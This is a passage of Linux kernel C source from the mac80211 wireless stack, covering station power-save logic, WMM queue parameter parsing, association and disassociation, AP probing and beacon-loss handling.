mod_timer(&local->dynamic_ps_timer, jiffies + msecs_to_jiffies(conf->dynamic_ps_timeout)); } else { if (local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK) ieee80211_send_nullfunc(local, sdata, 1); if ((local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK) && (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS)) return; conf->flags |= IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); } } static void ieee80211_change_ps(struct ieee80211_local *local) { struct ieee80211_conf *conf = &local->hw.conf; if (local->ps_sdata) { ieee80211_enable_ps(local, local->ps_sdata); } else if (conf->flags & IEEE80211_CONF_PS) { conf->flags &= ~IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); del_timer_sync(&local->dynamic_ps_timer); cancel_work_sync(&local->dynamic_ps_enable_work); } } static bool ieee80211_powersave_allowed(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *mgd = &sdata->u.mgd; struct sta_info *sta = NULL; bool authorized = false; if (!mgd->powersave) return false; if (mgd->broken_ap) return false; if (!mgd->associated) return false; if (mgd->flags & IEEE80211_STA_CONNECTION_POLL) return false; if (!mgd->have_beacon) return false; rcu_read_lock(); sta = sta_info_get(sdata, mgd->bssid); if (sta) authorized = test_sta_flag(sta, WLAN_STA_AUTHORIZED); rcu_read_unlock(); return authorized; } /* need to hold RTNL or interface lock */ void ieee80211_recalc_ps(struct ieee80211_local *local, s32 latency) { struct ieee80211_sub_if_data *sdata, *found = NULL; int count = 0; int timeout; if (!(local->hw.flags & IEEE80211_HW_SUPPORTS_PS)) { local->ps_sdata = NULL; return; } list_for_each_entry(sdata, &local->interfaces, list) { if (!ieee80211_sdata_running(sdata)) continue; if (sdata->vif.type == NL80211_IFTYPE_AP) { /* If an AP vif is found, then disable PS * by setting the count to zero thereby setting * ps_sdata to NULL. */ count = 0; break; } if (sdata->vif.type != NL80211_IFTYPE_STATION) continue; found = sdata; count++; } if (count == 1 && ieee80211_powersave_allowed(found)) { s32 beaconint_us; if (latency < 0) latency = pm_qos_request(PM_QOS_NETWORK_LATENCY); beaconint_us = ieee80211_tu_to_usec( found->vif.bss_conf.beacon_int); timeout = local->dynamic_ps_forced_timeout; if (timeout < 0) { /* * Go to full PSM if the user configures a very low * latency requirement. * The 2000 second value is there for compatibility * until the PM_QOS_NETWORK_LATENCY is configured * with real values. */ if (latency > (1900 * USEC_PER_MSEC) && latency != (2000 * USEC_PER_SEC)) timeout = 0; else timeout = 100; } local->hw.conf.dynamic_ps_timeout = timeout; if (beaconint_us > latency) { local->ps_sdata = NULL; } else { int maxslp = 1; u8 dtimper = found->u.mgd.dtim_period; /* If the TIM IE is invalid, pretend the value is 1 */ if (!dtimper) dtimper = 1; else if (dtimper > 1) maxslp = min_t(int, dtimper, latency / beaconint_us); local->hw.conf.max_sleep_period = maxslp; local->hw.conf.ps_dtim_period = dtimper; local->ps_sdata = found; } } else { local->ps_sdata = NULL; } ieee80211_change_ps(local); } void ieee80211_recalc_ps_vif(struct ieee80211_sub_if_data *sdata) { bool ps_allowed = ieee80211_powersave_allowed(sdata); if (sdata->vif.bss_conf.ps != ps_allowed) { sdata->vif.bss_conf.ps = ps_allowed; ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_PS); } } void ieee80211_dynamic_ps_disable_work(struct work_struct *work) { struct ieee80211_local *local = container_of(work, struct ieee80211_local, dynamic_ps_disable_work); if (local->hw.conf.flags & IEEE80211_CONF_PS) { local->hw.conf.flags &= ~IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); } ieee80211_wake_queues_by_reason(&local->hw, IEEE80211_MAX_QUEUE_MAP, IEEE80211_QUEUE_STOP_REASON_PS, false); } void ieee80211_dynamic_ps_enable_work(struct work_struct *work) { struct ieee80211_local *local = container_of(work, struct ieee80211_local, dynamic_ps_enable_work); struct ieee80211_sub_if_data *sdata = local->ps_sdata; struct ieee80211_if_managed *ifmgd; unsigned long flags; int q; /* can only happen when PS was just disabled anyway */ if (!sdata) return; ifmgd = &sdata->u.mgd; if (local->hw.conf.flags & IEEE80211_CONF_PS) return; if (local->hw.conf.dynamic_ps_timeout > 0) { /* don't enter PS if TX frames are pending */ if (drv_tx_frames_pending(local)) { mod_timer(&local->dynamic_ps_timer, jiffies + msecs_to_jiffies( local->hw.conf.dynamic_ps_timeout)); return; } /* * transmission can be stopped by others which leads to * dynamic_ps_timer expiry. Postpone the ps timer if it * is not the actual idle state. */ spin_lock_irqsave(&local->queue_stop_reason_lock, flags); for (q = 0; q < local->hw.queues; q++) { if (local->queue_stop_reasons[q]) { spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags); mod_timer(&local->dynamic_ps_timer, jiffies + msecs_to_jiffies( local->hw.conf.dynamic_ps_timeout)); return; } } spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags); } if ((local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK) && !(ifmgd->flags & IEEE80211_STA_NULLFUNC_ACKED)) { if (drv_tx_frames_pending(local)) { mod_timer(&local->dynamic_ps_timer, jiffies + msecs_to_jiffies( local->hw.conf.dynamic_ps_timeout)); } else { ieee80211_send_nullfunc(local, sdata, 1); /* Flush to get the tx status of nullfunc frame */ ieee80211_flush_queues(local, sdata, false); } } if (!((local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) && (local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK)) || (ifmgd->flags & IEEE80211_STA_NULLFUNC_ACKED)) { ifmgd->flags &= ~IEEE80211_STA_NULLFUNC_ACKED; local->hw.conf.flags |= IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); } } void ieee80211_dynamic_ps_timer(unsigned long data) { struct ieee80211_local *local = (void *) data; ieee80211_queue_work(&local->hw, &local->dynamic_ps_enable_work); } void ieee80211_dfs_cac_timer_work(struct work_struct *work) { struct delayed_work *delayed_work = container_of(work, struct delayed_work, work); struct ieee80211_sub_if_data *sdata = container_of(delayed_work, struct ieee80211_sub_if_data, dfs_cac_timer_work); struct cfg80211_chan_def chandef = sdata->vif.bss_conf.chandef; mutex_lock(&sdata->local->mtx); if (sdata->wdev.cac_started) { ieee80211_vif_release_channel(sdata); cfg80211_cac_event(sdata->dev, &chandef, NL80211_RADAR_CAC_FINISHED, GFP_KERNEL); } mutex_unlock(&sdata->local->mtx); } static bool __ieee80211_sta_handle_tspec_ac_params(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; bool ret = false; int ac; if (local->hw.queues < IEEE80211_NUM_ACS) return false; for (ac = 0; ac < IEEE80211_NUM_ACS; ac++) { struct ieee80211_sta_tx_tspec *tx_tspec = &ifmgd->tx_tspec[ac]; int non_acm_ac; unsigned long now = jiffies; if (tx_tspec->action == TX_TSPEC_ACTION_NONE && tx_tspec->admitted_time && time_after(now, tx_tspec->time_slice_start + HZ)) { tx_tspec->consumed_tx_time = 0; tx_tspec->time_slice_start = now; if (tx_tspec->downgraded) tx_tspec->action = TX_TSPEC_ACTION_STOP_DOWNGRADE; } switch (tx_tspec->action) { case TX_TSPEC_ACTION_STOP_DOWNGRADE: /* take the original parameters */ if (drv_conf_tx(local, sdata, ac, &sdata->tx_conf[ac])) sdata_err(sdata, "failed to set TX queue parameters for queue %d\n", ac); tx_tspec->action = TX_TSPEC_ACTION_NONE; tx_tspec->downgraded = false; ret = true; break; case TX_TSPEC_ACTION_DOWNGRADE: if (time_after(now, tx_tspec->time_slice_start + HZ)) { tx_tspec->action = TX_TSPEC_ACTION_NONE; ret = true; break; } /* downgrade next lower non-ACM AC */ for (non_acm_ac = ac + 1; non_acm_ac < IEEE80211_NUM_ACS; non_acm_ac++) if (!(sdata->wmm_acm & BIT(7 - 2 * non_acm_ac))) break; /* The loop will result in using BK even if it requires * admission control, such configuration makes no sense * and we have to transmit somehow - the AC selection * does the same thing. */ if (drv_conf_tx(local, sdata, ac, &sdata->tx_conf[non_acm_ac])) sdata_err(sdata, "failed to set TX queue parameters for queue %d\n", ac); tx_tspec->action = TX_TSPEC_ACTION_NONE; ret = true; schedule_delayed_work(&ifmgd->tx_tspec_wk, tx_tspec->time_slice_start + HZ - now + 1); break; case TX_TSPEC_ACTION_NONE: /* nothing now */ break; } } return ret; } void ieee80211_sta_handle_tspec_ac_params(struct ieee80211_sub_if_data *sdata) { if (__ieee80211_sta_handle_tspec_ac_params(sdata)) ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_QOS); } static void ieee80211_sta_handle_tspec_ac_params_wk(struct work_struct *work) { struct ieee80211_sub_if_data *sdata; sdata = container_of(work, struct ieee80211_sub_if_data, u.mgd.tx_tspec_wk.work); ieee80211_sta_handle_tspec_ac_params(sdata); } /* MLME */ static bool ieee80211_sta_wmm_params(struct ieee80211_local *local, struct ieee80211_sub_if_data *sdata, const u8 *wmm_param, size_t wmm_param_len) { struct ieee80211_tx_queue_params params; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; size_t left; int count; const u8 *pos; u8 uapsd_queues = 0; if (!local->ops->conf_tx) return false; if (local->hw.queues < IEEE80211_NUM_ACS) return false; if (!wmm_param) return false; if (wmm_param_len < 8 || wmm_param[5] /* version */ != 1) return false; if (ifmgd->flags & IEEE80211_STA_UAPSD_ENABLED) uapsd_queues = ifmgd->uapsd_queues; count = wmm_param[6] & 0x0f; if (count == ifmgd->wmm_last_param_set) return false; ifmgd->wmm_last_param_set = count; pos = wmm_param + 8; left = wmm_param_len - 8; memset(&params, 0, sizeof(params)); sdata->wmm_acm = 0; for (; left >= 4; left -= 4, pos += 4) { int aci = (pos[0] >> 5) & 0x03; int acm = (pos[0] >> 4) & 0x01; bool uapsd = false; int queue; switch (aci) { case 1: /* AC_BK */ queue = 3; if (acm) sdata->wmm_acm |= BIT(1) | BIT(2); /* BK/- */ if (uapsd_queues & IEEE80211_WMM_IE_STA_QOSINFO_AC_BK) uapsd = true; break; case 2: /* AC_VI */ queue = 1; if (acm) sdata->wmm_acm |= BIT(4) | BIT(5); /* CL/VI */ if (uapsd_queues & IEEE80211_WMM_IE_STA_QOSINFO_AC_VI) uapsd = true; break; case 3: /* AC_VO */ queue = 0; if (acm) sdata->wmm_acm |= BIT(6) | BIT(7); /* VO/NC */ if (uapsd_queues & IEEE80211_WMM_IE_STA_QOSINFO_AC_VO) uapsd = true; break; case 0: /* AC_BE */ default: queue = 2; if (acm) sdata->wmm_acm |= BIT(0) | BIT(3); /* BE/EE */ if (uapsd_queues & IEEE80211_WMM_IE_STA_QOSINFO_AC_BE) uapsd = true; break; } params.aifs = pos[0] & 0x0f; params.cw_max = ecw2cw((pos[1] & 0xf0) >> 4); params.cw_min = ecw2cw(pos[1] & 0x0f); params.txop = get_unaligned_le16(pos + 2); params.acm = acm; params.uapsd = uapsd; mlme_dbg(sdata, "WMM queue=%d aci=%d acm=%d aifs=%d cWmin=%d cWmax=%d txop=%d uapsd=%d, downgraded=%d\n", queue, aci, acm, params.aifs, params.cw_min, params.cw_max, params.txop, params.uapsd, ifmgd->tx_tspec[queue].downgraded); sdata->tx_conf[queue] = params; if (!ifmgd->tx_tspec[queue].downgraded && drv_conf_tx(local, sdata, queue, &params)) sdata_err(sdata, "failed to set TX queue parameters for queue %d\n", queue); } /* enable WMM or activate new settings */ sdata->vif.bss_conf.qos = true; return true; } static void __ieee80211_stop_poll(struct ieee80211_sub_if_data *sdata) { lockdep_assert_held(&sdata->local->mtx); sdata->u.mgd.flags &= ~IEEE80211_STA_CONNECTION_POLL; ieee80211_run_deferred_scan(sdata->local); } static void ieee80211_stop_poll(struct ieee80211_sub_if_data *sdata) { mutex_lock(&sdata->local->mtx); __ieee80211_stop_poll(sdata); mutex_unlock(&sdata->local->mtx); } static u32 ieee80211_handle_bss_capability(struct ieee80211_sub_if_data *sdata, u16 capab, bool erp_valid, u8 erp) { struct ieee80211_bss_conf *bss_conf = &sdata->vif.bss_conf; u32 changed = 0; bool use_protection; bool use_short_preamble; bool use_short_slot; if (erp_valid) { use_protection = (erp & WLAN_ERP_USE_PROTECTION) != 0; use_short_preamble = (erp & WLAN_ERP_BARKER_PREAMBLE) == 0; } else { use_protection = false; use_short_preamble = !!(capab & WLAN_CAPABILITY_SHORT_PREAMBLE); } use_short_slot = !!(capab & WLAN_CAPABILITY_SHORT_SLOT_TIME); if (ieee80211_get_sdata_band(sdata) == IEEE80211_BAND_5GHZ) use_short_slot = true; if (use_protection != bss_conf->use_cts_prot) { bss_conf->use_cts_prot = use_protection; changed |= BSS_CHANGED_ERP_CTS_PROT; } if (use_short_preamble != bss_conf->use_short_preamble) { bss_conf->use_short_preamble = use_short_preamble; changed |= BSS_CHANGED_ERP_PREAMBLE; } if (use_short_slot != bss_conf->use_short_slot) { bss_conf->use_short_slot = use_short_slot; changed |= BSS_CHANGED_ERP_SLOT; } return changed; } static void ieee80211_set_associated(struct ieee80211_sub_if_data *sdata, struct cfg80211_bss *cbss, u32 bss_info_changed) { struct ieee80211_bss *bss = (void *)cbss->priv; struct ieee80211_local *local = sdata->local; struct ieee80211_bss_conf *bss_conf = &sdata->vif.bss_conf; bss_info_changed |= BSS_CHANGED_ASSOC; bss_info_changed |= ieee80211_handle_bss_capability(sdata, bss_conf->assoc_capability, bss->has_erp_value, bss->erp_value); sdata->u.mgd.beacon_timeout = usecs_to_jiffies(ieee80211_tu_to_usec( beacon_loss_count * bss_conf->beacon_int)); sdata->u.mgd.associated = cbss; memcpy(sdata->u.mgd.bssid, cbss->bssid, ETH_ALEN); sdata->u.mgd.flags |= IEEE80211_STA_RESET_SIGNAL_AVE; if (sdata->vif.p2p) { const struct cfg80211_bss_ies *ies; rcu_read_lock(); ies = rcu_dereference(cbss->ies); if (ies) { int ret; ret = cfg80211_get_p2p_attr( ies->data, ies->len, IEEE80211_P2P_ATTR_ABSENCE_NOTICE, (u8 *) &bss_conf->p2p_noa_attr, sizeof(bss_conf->p2p_noa_attr)); if (ret >= 2) { sdata->u.mgd.p2p_noa_index = bss_conf->p2p_noa_attr.index; bss_info_changed |= BSS_CHANGED_P2P_PS; } } rcu_read_unlock(); } /* just to be sure */ ieee80211_stop_poll(sdata); ieee80211_led_assoc(local, 1); if (sdata->u.mgd.have_beacon) { /* * If the AP is buggy we may get here with no DTIM period * known, so assume it's 1 which is the only safe assumption * in that case, although if the TIM IE is broken powersave * probably just won't work at all. */ bss_conf->dtim_period = sdata->u.mgd.dtim_period ?: 1; bss_conf->beacon_rate = bss->beacon_rate; bss_info_changed |= BSS_CHANGED_BEACON_INFO; } else { bss_conf->beacon_rate = NULL; bss_conf->dtim_period = 0; } bss_conf->assoc = 1; /* Tell the driver to monitor connection quality (if supported) */ if (sdata->vif.driver_flags & IEEE80211_VIF_SUPPORTS_CQM_RSSI && bss_conf->cqm_rssi_thold) bss_info_changed |= BSS_CHANGED_CQM; /* Enable ARP filtering */ if (bss_conf->arp_addr_cnt) bss_info_changed |= BSS_CHANGED_ARP_FILTER; ieee80211_bss_info_change_notify(sdata, bss_info_changed); mutex_lock(&local->iflist_mtx); ieee80211_recalc_ps(local, -1); mutex_unlock(&local->iflist_mtx); ieee80211_recalc_smps(sdata); ieee80211_recalc_ps_vif(sdata); netif_carrier_on(sdata->dev); } static void ieee80211_set_disassoc(struct ieee80211_sub_if_data *sdata, u16 stype, u16 reason, bool tx, u8 *frame_buf) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_local *local = sdata->local; u32 changed = 0; sdata_assert_lock(sdata); if (WARN_ON_ONCE(tx && !frame_buf)) return; if (WARN_ON(!ifmgd->associated)) return; ieee80211_stop_poll(sdata); ifmgd->associated = NULL; netif_carrier_off(sdata->dev); /* * if we want to get out of ps before disassoc (why?) we have * to do it before sending disassoc, as otherwise the null-packet * won't be valid. */ if (local->hw.conf.flags & IEEE80211_CONF_PS) { local->hw.conf.flags &= ~IEEE80211_CONF_PS; ieee80211_hw_config(local, IEEE80211_CONF_CHANGE_PS); } local->ps_sdata = NULL; /* disable per-vif ps */ ieee80211_recalc_ps_vif(sdata); /* make sure ongoing transmission finishes */ synchronize_net(); /* * drop any frame before deauth/disassoc, this can be data or * management frame. Since we are disconnecting, we should not * insist sending these frames which can take time and delay * the disconnection and possible the roaming. */ if (tx) ieee80211_flush_queues(local, sdata, true); /* deauthenticate/disassociate now */ if (tx || frame_buf) ieee80211_send_deauth_disassoc(sdata, ifmgd->bssid, stype, reason, tx, frame_buf); /* flush out frame - make sure the deauth was actually sent */ if (tx) ieee80211_flush_queues(local, sdata, false); /* clear bssid only after building the needed mgmt frames */ eth_zero_addr(ifmgd->bssid); /* remove AP and TDLS peers */ sta_info_flush(sdata); /* finally reset all BSS / config parameters */ changed |= ieee80211_reset_erp_info(sdata); ieee80211_led_assoc(local, 0); changed |= BSS_CHANGED_ASSOC; sdata->vif.bss_conf.assoc = false; ifmgd->p2p_noa_index = -1; memset(&sdata->vif.bss_conf.p2p_noa_attr, 0, sizeof(sdata->vif.bss_conf.p2p_noa_attr)); /* on the next assoc, re-program HT/VHT parameters */ memset(&ifmgd->ht_capa, 0, sizeof(ifmgd->ht_capa)); memset(&ifmgd->ht_capa_mask, 0, sizeof(ifmgd->ht_capa_mask)); memset(&ifmgd->vht_capa, 0, sizeof(ifmgd->vht_capa)); memset(&ifmgd->vht_capa_mask, 0, sizeof(ifmgd->vht_capa_mask)); sdata->ap_power_level = IEEE80211_UNSET_POWER_LEVEL; del_timer_sync(&local->dynamic_ps_timer); cancel_work_sync(&local->dynamic_ps_enable_work); /* Disable ARP filtering */ if (sdata->vif.bss_conf.arp_addr_cnt) changed |= BSS_CHANGED_ARP_FILTER; sdata->vif.bss_conf.qos = false; changed |= BSS_CHANGED_QOS; /* The BSSID (not really interesting) and HT changed */ changed |= BSS_CHANGED_BSSID | BSS_CHANGED_HT; ieee80211_bss_info_change_notify(sdata, changed); /* disassociated - set to defaults now */ ieee80211_set_wmm_default(sdata, false); del_timer_sync(&sdata->u.mgd.conn_mon_timer); del_timer_sync(&sdata->u.mgd.bcn_mon_timer); del_timer_sync(&sdata->u.mgd.timer); del_timer_sync(&sdata->u.mgd.chswitch_timer); sdata->vif.bss_conf.dtim_period = 0; sdata->vif.bss_conf.beacon_rate = NULL; ifmgd->have_beacon = false; ifmgd->flags = 0; mutex_lock(&local->mtx); ieee80211_vif_release_channel(sdata); sdata->vif.csa_active = false; ifmgd->csa_waiting_bcn = false; if (sdata->csa_block_tx) { ieee80211_wake_vif_queues(local, sdata, IEEE80211_QUEUE_STOP_REASON_CSA); sdata->csa_block_tx = false; } mutex_unlock(&local->mtx); /* existing TX TSPEC sessions no longer exist */ memset(ifmgd->tx_tspec, 0, sizeof(ifmgd->tx_tspec)); cancel_delayed_work_sync(&ifmgd->tx_tspec_wk); sdata->encrypt_headroom = IEEE80211_ENCRYPT_HEADROOM; } void ieee80211_sta_rx_notify(struct ieee80211_sub_if_data *sdata, struct ieee80211_hdr *hdr) { /* * We can postpone the mgd.timer whenever receiving unicast frames * from AP because we know that the connection is working both ways * at that time. But multicast frames (and hence also beacons) must * be ignored here, because we need to trigger the timer during * data idle periods for sending the periodic probe request to the * AP we're connected to. */ if (is_multicast_ether_addr(hdr->addr1)) return; ieee80211_sta_reset_conn_monitor(sdata); } static void ieee80211_reset_ap_probe(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_local *local = sdata->local; mutex_lock(&local->mtx); if (!(ifmgd->flags & IEEE80211_STA_CONNECTION_POLL)) goto out; __ieee80211_stop_poll(sdata); mutex_lock(&local->iflist_mtx); ieee80211_recalc_ps(local, -1); mutex_unlock(&local->iflist_mtx); if (sdata->local->hw.flags & IEEE80211_HW_CONNECTION_MONITOR) goto out; /* * We've received a probe response, but are not sure whether * we have or will be receiving any beacons or data, so let's * schedule the timers again, just in case. */ ieee80211_sta_reset_beacon_monitor(sdata); mod_timer(&ifmgd->conn_mon_timer, round_jiffies_up(jiffies + IEEE80211_CONNECTION_IDLE_TIME)); out: mutex_unlock(&local->mtx); } static void ieee80211_sta_tx_wmm_ac_notify(struct ieee80211_sub_if_data *sdata, struct ieee80211_hdr *hdr, u16 tx_time) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u16 tid = *ieee80211_get_qos_ctl(hdr) & IEEE80211_QOS_CTL_TID_MASK; int ac = ieee80211_ac_from_tid(tid); struct ieee80211_sta_tx_tspec *tx_tspec = &ifmgd->tx_tspec[ac]; unsigned long now = jiffies; if (likely(!tx_tspec->admitted_time)) return; if (time_after(now, tx_tspec->time_slice_start + HZ)) { tx_tspec->consumed_tx_time = 0; tx_tspec->time_slice_start = now; if (tx_tspec->downgraded) { tx_tspec->action = TX_TSPEC_ACTION_STOP_DOWNGRADE; schedule_delayed_work(&ifmgd->tx_tspec_wk, 0); } } if (tx_tspec->downgraded) return; tx_tspec->consumed_tx_time += tx_time; if (tx_tspec->consumed_tx_time >= tx_tspec->admitted_time) { tx_tspec->downgraded = true; tx_tspec->action = TX_TSPEC_ACTION_DOWNGRADE; schedule_delayed_work(&ifmgd->tx_tspec_wk, 0); } } void ieee80211_sta_tx_notify(struct ieee80211_sub_if_data *sdata, struct ieee80211_hdr *hdr, bool ack, u16 tx_time) { ieee80211_sta_tx_wmm_ac_notify(sdata, hdr, tx_time); if (!ieee80211_is_data(hdr->frame_control)) return; if (ieee80211_is_nullfunc(hdr->frame_control) && sdata->u.mgd.probe_send_count > 0) { if (ack) ieee80211_sta_reset_conn_monitor(sdata); else sdata->u.mgd.nullfunc_failed = true; ieee80211_queue_work(&sdata->local->hw, &sdata->work); return; } if (ack) ieee80211_sta_reset_conn_monitor(sdata); } static void ieee80211_mgd_probe_ap_send(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; const u8 *ssid; u8 *dst = ifmgd->associated->bssid; u8 unicast_limit = max(1, max_probe_tries - 3); /* * Try sending broadcast probe requests for the last three * probe requests after the first ones failed since some * buggy APs only support broadcast probe requests. */ if (ifmgd->probe_send_count >= unicast_limit) dst = NULL; /* * When the hardware reports an accurate Tx ACK status, it's * better to send a nullfunc frame instead of a probe request, * as it will kick us off the AP quickly if we aren't associated * anymore. The timeout will be reset if the frame is ACKed by * the AP. */ ifmgd->probe_send_count++; if (sdata->local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) { ifmgd->nullfunc_failed = false; ieee80211_send_nullfunc(sdata->local, sdata, 0); } else { int ssid_len; rcu_read_lock(); ssid = ieee80211_bss_get_ie(ifmgd->associated, WLAN_EID_SSID); if (WARN_ON_ONCE(ssid == NULL)) ssid_len = 0; else ssid_len = ssid[1]; ieee80211_send_probe_req(sdata, sdata->vif.addr, NULL, ssid + 2, ssid_len, NULL, 0, (u32) -1, true, 0, ifmgd->associated->channel, false); rcu_read_unlock(); } ifmgd->probe_timeout = jiffies + msecs_to_jiffies(probe_wait_ms); run_again(sdata, ifmgd->probe_timeout); } static void ieee80211_mgd_probe_ap(struct ieee80211_sub_if_data *sdata, bool beacon) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; bool already = false; if (!ieee80211_sdata_running(sdata)) return; sdata_lock(sdata); if (!ifmgd->associated) goto out; mutex_lock(&sdata->local->mtx); if (sdata->local->tmp_channel || sdata->local->scanning) { mutex_unlock(&sdata->local->mtx); goto out; } if (beacon) { mlme_dbg_ratelimited(sdata, "detected beacon loss from AP (missed %d beacons) - probing\n", beacon_loss_count); ieee80211_cqm_beacon_loss_notify(&sdata->vif, GFP_KERNEL); } /* * The driver/our work has already reported this event or the * connection monitoring has kicked in and we have already sent * a probe request. Or maybe the AP died and the driver keeps * reporting until we disassociate... * * In either case we have to ignore the current call to this * function (except for setting the correct probe reason bit) * because otherwise we would reset the timer every time and * never check whether we received a probe response! */ if (ifmgd->flags & IEEE80211_STA_CONNECTION_POLL) already = true; ifmgd->flags |= IEEE80211_STA_CONNECTION_POLL; mutex_unlock(&sdata->local->mtx); if (already) goto out; mutex_lock(&sdata->local->iflist_mtx); ieee80211_recalc_ps(sdata->local, -1); mutex_unlock(&sdata->local->iflist_mtx); ifmgd->probe_send_count = 0; ieee80211_mgd_probe_ap_send(sdata); out: sdata_unlock(sdata); } struct sk_buff *ieee80211_ap_probereq_get(struct ieee80211_hw *hw, struct ieee80211_vif *vif) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct cfg80211_bss *cbss; struct sk_buff *skb; const u8 *ssid; int ssid_len; if (WARN_ON(sdata->vif.type != NL80211_IFTYPE_STATION)) return NULL; sdata_assert_lock(sdata); if (ifmgd->associated) cbss = ifmgd->associated; else if (ifmgd->auth_data) cbss = ifmgd->auth_data->bss; else if (ifmgd->assoc_data) cbss = ifmgd->assoc_data->bss; else return NULL; rcu_read_lock(); ssid = ieee80211_bss_get_ie(cbss, WLAN_EID_SSID); if (WARN_ON_ONCE(ssid == NULL)) ssid_len = 0; else ssid_len = ssid[1]; skb = ieee80211_build_probe_req(sdata, sdata->vif.addr, cbss->bssid, (u32) -1, cbss->channel, ssid + 2, ssid_len, NULL, 0, true); rcu_read_unlock(); return skb; } EXPORT_SYMBOL(ieee80211_ap_probereq_get); static void __ieee80211_disconnect(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; sdata_lock(sdata); if (!ifmgd->associated) { sdata_unlock(sdata); return; } ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY, true, frame_buf); mutex_lock(&local->mtx); sdata->vif.csa_active = false; ifmgd->csa_waiting_bcn = false; if (sdata->csa_block_tx) { ieee80211_wake_vif_queues(local, sdata, IEEE80211_QUEUE_STOP_REASON_CSA); sdata->csa_block_tx = false; } mutex_unlock(&local->mtx); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); sdata_unlock(sdata); } static void ieee80211_beacon_connection_loss_work(struct work_struct *work) { struct ieee80211_sub_if_data *sdata = container_of(work, struct ieee80211_sub_if_data, u.mgd.beacon_connection_loss_work); struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct sta_info *sta; if (ifmgd->associated) { rcu_read_lock(); sta = sta_info_get(sdata, ifmgd->bssid); if (sta) sta->beacon_loss_count++; rcu_read_unlock(); } if (ifmgd->connection_loss) { sdata_info(sdata, "Connection to AP %pM lost\n", ifmgd->bssid); __ieee80211_disconnect(sdata); } else { ieee80211_mgd_probe_ap(sdata, true); } } static void ieee80211_csa_connection_drop_work(struct work_struct *work) { struct ieee80211_sub_if_data *sdata = container_of(work, struct ieee80211_sub_if_data, u.mgd.csa_connection_drop_work); __ieee80211_disconnect(sdata); } void ieee80211_beacon_loss(struct ieee80211_vif *vif) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); struct ieee80211_hw *hw = &sdata->local->hw; trace_api_beacon_loss(sdata); sdata->u.mgd.connection_loss = false; ieee80211_queue_work(hw, &sdata->u.mgd.beacon_connection_loss_work); } EXPORT_SYMBOL(ieee80211_beacon_loss); void ieee80211_connection_loss(struct ieee80211_vif *vif) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); struct ieee80211_hw *hw = &sdata->local->hw; trace_api_connection_loss(sdata); sdata->u.mgd.connection_loss = true; ieee80211_queue_work(hw, &sdata->u.mgd.beacon_connection_loss_work); } EXPORT_SYMBOL(ieee80211_connection_loss); static void ieee80211_destroy_auth_data(struct ieee80211_sub_if_data *sdata, bool assoc) { struct ieee80211_mgd_auth_data *auth_data = sdata->u.mgd.auth_data; sdata_assert_lock(sdata); if (!assoc) { /* * we are not authenticated yet, the only timer that could be * running is the timeout for the authentication response which * which is not relevant anymore. */ del_timer_sync(&sdata->u.mgd.timer); sta_info_destroy_addr(sdata, auth_data->bss->bssid); eth_zero_addr(sdata->u.mgd.bssid); ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_BSSID); sdata->u.mgd.flags = 0; mutex_lock(&sdata->local->mtx); ieee80211_vif_release_channel(sdata); mutex_unlock(&sdata->local->mtx); } cfg80211_put_bss(sdata->local->hw.wiphy, auth_data->bss); kfree(auth_data); sdata->u.mgd.auth_data = NULL; } static void ieee80211_auth_challenge(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_local *local = sdata->local; struct ieee80211_mgd_auth_data *auth_data = sdata->u.mgd.auth_data; u8 *pos; struct ieee802_11_elems elems; u32 tx_flags = 0; pos = mgmt->u.auth.variable; ieee802_11_parse_elems(pos, len - (pos - (u8 *) mgmt), false, &elems); if (!elems.challenge) return; auth_data->expected_transaction = 4; drv_mgd_prepare_tx(sdata->local, sdata); if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) tx_flags = IEEE80211_TX_CTL_REQ_TX_STATUS | IEEE80211_TX_INTFL_MLME_CONN_TX; ieee80211_send_auth(sdata, 3, auth_data->algorithm, 0, elems.challenge - 2, elems.challenge_len + 2, auth_data->bss->bssid, auth_data->bss->bssid, auth_data->key, auth_data->key_len, auth_data->key_idx, tx_flags); } static void ieee80211_rx_mgmt_auth(struct ieee80211_sub_if_data *sdata, struct ieee80211_mgmt *mgmt, size_t len) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u8 